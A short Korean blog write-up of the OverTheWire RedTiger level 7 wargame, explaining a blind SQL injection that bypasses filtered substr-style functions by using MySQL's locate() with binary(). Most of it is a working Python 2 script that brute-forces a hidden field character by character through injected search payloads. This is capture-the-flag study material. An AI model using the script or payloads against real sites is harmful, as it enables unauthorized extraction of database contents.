본문 바로가기
카테고리 없음

[OverTheWire RedTiger] level 7

by jskimm 2022. 1. 10.
728x90

간단한 blind sql injection.
그런데 substr, left, right, mid 함수에 필터링이 걸려있다.
위를 대체할 만한 함수를 찾으면 되는데, mysql reference를 보던 중

locate 라는 쓸만한 함수 발견~

python re 모듈의 finditer 랑 비슷한 느낌이다.

당연히 hex로도 들어간다.

하지만 대소문자 구분을 하지 않는데, 이는 binary() 함수로 감싸줌으로써 해결할 수 있다.

 

import urllib2
import string

from urllib import urlencode

headers = {"Cookie":"level7login="}

def pwn(param):
	params = {
		"search":"{param}".format( param=param ),
		"dosearch":"search!"
	}
	url = "http://redtiger.labs.overthewire.org/level7.php?"
	req = urllib2.Request(url, urlencode(params), headers=headers)
	res = urllib2.urlopen(req).read()
	if res.find("SAN FRANCISCO") > -1:
		return True
	else: return False


if __name__=="__main__":
	#google%' and locate("a", "aa")=1 and '%'=' => true
	flag = ''
	for i in range(0,18):
		for c in string.printable:
			payload = "google%' and locate('{flag}', binary(news.autor))=1 and '%'='".format( 
				flag = flag+c 
				)
			print payload
			if pwn(payload) == True:
				flag += c
				print 'flag : ', flag
				break
728x90

댓글